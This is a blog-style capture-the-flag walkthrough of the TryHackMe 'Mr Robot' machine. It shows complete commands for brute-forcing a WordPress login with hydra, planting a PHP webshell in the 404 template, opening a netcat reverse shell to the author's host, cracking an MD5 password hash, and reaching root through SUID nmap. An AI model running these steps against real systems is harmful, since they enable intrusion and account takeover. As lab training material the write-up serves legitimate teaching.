THM: Mr Robot
Intro⌗
Mr Robot is an easy linux box based on the TV series that hosts a WordPress site. We’ll start with some enumeration to find a wordlist that helps us brute force our way into the WP admin panel. Once we have our shell we find a password hash we can crack to access their account and get the 2nd flag.
Tools Used⌗
- rustscan
- hydra
- Burp Suite
- john
- netcat
Recon⌗
Let’s begin with scanning the host to see what services are running.
rustscan -a 10.10.13.242 -- sV sC -oA scans/nmap_initial
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http syn-ack Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
| SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
| -----BEGIN CERTIFICATE-----
| MIIBqzCCARQCCQCgSfELirADCzANBgkqhkiG9w0BAQUFADAaMRgwFgYDVQQDDA93
| d3cuZXhhbXBsZS5jb20wHhcNMTUwOTE2MTA0NTAzWhcNMjUwOTEzMTA0NTAzWjAa
| MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0A
| MIGJAoGBANlxG/38e8Dy/mxwZzBboYF64tu1n8c2zsWOw8FFU0azQFxv7RPKcGwt
| sALkdAMkNcWS7J930xGamdCZPdoRY4hhfesLIshZxpyk6NoYBkmtx+GfwrrLh6mU
| yvsyno29GAlqYWfffzXRoibdDtGTn9NeMqXobVTTKTaR0BGspOS5AgMBAAEwDQYJ
| KoZIhvcNAQEFBQADgYEASfG0dH3x4/XaN6IWwaKo8XeRStjYTy/uBJEBUERlP17X
| 1TooZOYbvgFAqK8DPOl7EkzASVeu0mS5orfptWjOZ/UWVZujSNj7uu7QR4vbNERx
| ncZrydr7FklpkIN5Bj8SYc94JI9GsrHip4mpbystXkxncoOVESjRBES/iatbkl0=
|_-----END CERTIFICATE-----
Enumeration⌗
On port 80 we have some kind of Mr. Robot themed web app.
Let’s run some content scans and explore:
ffuf -u http://10.10.13.242/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 -c
.hta [Status: 403, Size: 213, Words: 16, Lines: 10]
.htaccess [Status: 403, Size: 218, Words: 16, Lines: 10]
.htpasswd [Status: 403, Size: 218, Words: 16, Lines: 10]
[Status: 200, Size: 1077, Words: 189, Lines: 31]
0 [Status: 301, Size: 0, Words: 1, Lines: 1]
admin [Status: 301, Size: 234, Words: 14, Lines: 8]
audio [Status: 301, Size: 234, Words: 14, Lines: 8]
atom [Status: 301, Size: 0, Words: 1, Lines: 1]
blog [Status: 301, Size: 233, Words: 14, Lines: 8]
css [Status: 301, Size: 232, Words: 14, Lines: 8]
dashboard [Status: 302, Size: 0, Words: 1, Lines: 1]
favicon.ico [Status: 200, Size: 0, Words: 1, Lines: 1]
feed [Status: 301, Size: 0, Words: 1, Lines: 1]
images [Status: 301, Size: 235, Words: 14, Lines: 8]
image [Status: 301, Size: 0, Words: 1, Lines: 1]
Image [Status: 301, Size: 0, Words: 1, Lines: 1]
index.html [Status: 200, Size: 1188, Words: 189, Lines: 31]
index.php [Status: 301, Size: 0, Words: 1, Lines: 1]
intro [Status: 200, Size: 496938, Words: 2076, Lines: 2028]
js [Status: 301, Size: 231, Words: 14, Lines: 8]
license [Status: 200, Size: 309, Words: 25, Lines: 157]
login [Status: 302, Size: 0, Words: 1, Lines: 1]
page1 [Status: 301, Size: 0, Words: 1, Lines: 1]
phpmyadmin [Status: 403, Size: 94, Words: 14, Lines: 1]
readme [Status: 200, Size: 64, Words: 14, Lines: 2]
rdf [Status: 301, Size: 0, Words: 1, Lines: 1]
robots [Status: 200, Size: 41, Words: 2, Lines: 4]
robots.txt [Status: 200, Size: 41, Words: 2, Lines: 4]
rss [Status: 301, Size: 0, Words: 1, Lines: 1]
rss2 [Status: 301, Size: 0, Words: 1, Lines: 1]
sitemap [Status: 200, Size: 0, Words: 1, Lines: 1]
sitemap.xml [Status: 200, Size: 0, Words: 1, Lines: 1]
video [Status: 301, Size: 234, Words: 14, Lines: 8]
wp-admin [Status: 301, Size: 237, Words: 14, Lines: 8]
wp-content [Status: 301, Size: 239, Words: 14, Lines: 8]
wp-includes [Status: 301, Size: 240, Words: 14, Lines: 8]
wp-config [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-cron [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-load [Status: 200, Size: 0, Words: 1, Lines: 1]
wp-links-opml [Status: 200, Size: 227, Words: 13, Lines: 11]
wp-login [Status: 200, Size: 2606, Words: 115, Lines: 53]
wp-signup [Status: 302, Size: 0, Words: 1, Lines: 1]
xmlrpc.php [Status: 405, Size: 42, Words: 6, Lines: 1]
xmlrpc [Status: 405, Size: 42, Words: 6, Lines: 1]
Wow, lots of good stuff. Looks like we have a WordPress site. Let’s check out robots.txt
.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/MrRobot]
└─$ curl -i http://10.10.13.242/robots.txt
HTTP/1.1 200 OK
Date: Sun, 25 Apr 2021 00:54:12 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Fri, 13 Nov 2015 07:28:21 GMT
ETag: "29-52467010ef8ad"
Accept-Ranges: bytes
Content-Length: 41
Content-Type: text/plain
User-agent: *
fsocity.dic
key-1-of-3.txt
Nice! We found the first flag. fsocity.dic
looks like a wordlist, so let’s download it and see if it can help us brute force our way into the WordPress admin.
We can also clean it up a bit by removing duplicates.
cat fsocity.dic | sort -u > fsociety_unique.dic
That drops the number of lines from over 858k down to just 11.5k.
Now let’s check out the login page at /wp-login.php
and try to log in with some default credentials: admin:admin
. We’ll need to open up Burp Suite first though so we can inspect the traffic in our proxy.
The default credentials didn’t work, but keeping with the theme, we can guess character names from the show and see that elliot
is a valid username since the error message changes to indicate only the password is wrong.
Exploitation⌗
Now that we have a username and how to format a login request we can use hydra
to try to brute force the password.
We could still brute force even without knowing the username but I like to enumerate as much info as possible first to cut down on the amount of brute force requests. In this case, elliot is also in the wordlist so it would still work.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/MrRobot]
└─$ hydra -l elliot -P fsociety_unique.dic 10.10.13.242 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:The password you entered"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-24 21:12:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://10.10.13.242:80/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&testcookie=1:The password you entered
[STATUS] 1318.00 tries/min, 1318 tries in 00:01h, 10134 to do in 00:08h, 16 active
[STATUS] 1180.33 tries/min, 3541 tries in 00:03h, 7911 to do in 00:07h, 16 active
[80][http-post-form] host: 10.10.13.242 login: elliot password: REDACTED
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-24 21:19:00
Aaaaand we’re in!
There are a few different ways to get shell access once you’re in the admin panel but my favorite is simply putting a webshell in the 404 page template and using that to spawn a reverse shell.
- Navigate to Appearance > Editor
- Choose the 404 Template
- Replace the template code with a PHP webshell (my favorite is phpbash by Arrexel)
- Click “Update File” to save changes
- Open a new browser tab and go to an invalid URL like:
http://10.10.13.242/asdfas
Replacing the 404 template entirely isn’t the most elegant way to go about this. If this weren’t a CTF I might instead use a different webshell that accepts commands as a hidden query string to cover my tracks a bit better.
Now we can open a netcat listener with nc -nlvp 4444
in our terminal and then in the webshell we can pop a reverse shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.6.48.252 4444 >/tmp/f
Upgrading the Shell⌗
Before we start chasing the flags let’s upgrade to a full TTY shell for a better working environment:
- Run
python -c 'import pty;pty.spawn("/bin/bash")
- Ctrl+z
- Run
stty raw -echo; fg
- Hit enter
- Run
export TERM=xterm
Now we can clear the screen and have tab autocompletion…much more comfortable!
Privilege Escalation⌗
Let’s see what users are able to log in on the system:
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:
If we cd
into robot’s home directory we find the 2nd flag, but only robot can read the file. There is another file we can read though, and it looks like the raw md5 hash of their password.
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home/robot
daemon@linux:/home/robot$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
Let’s see if we can crack the hash with john
.
┌──(brian㉿kali)-[~/…/hacks/tryhackme/MrRobot/loot]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (robot)
1g 0:00:00:00 DONE (2021-04-24 22:07) 50.00g/s 2035Kp/s 2035Kc/s 2035KC/s bonjour1..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
Now we can su robot
and capture flag #2!
On to root…
A quick sudo -l
check shows robot doesn’t have sudo permissions. So we can check for SUID binaries instead.
find / -type f -user root -perm /4000 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
GTFObins is my go to source for looking up how to escape out of linux binaries to get a shell. Cross checking the list of SUID binaries with GTFObins leads us to our privilege escalaction vector.
We can abuse the SUID bit set on nmap
to escape to a root shell and grab the final flag!
robot@linux:~$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root
# cd /root
# ls -la
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
# wc -c key-3-of-3.txt
33 key-3-of-3.txt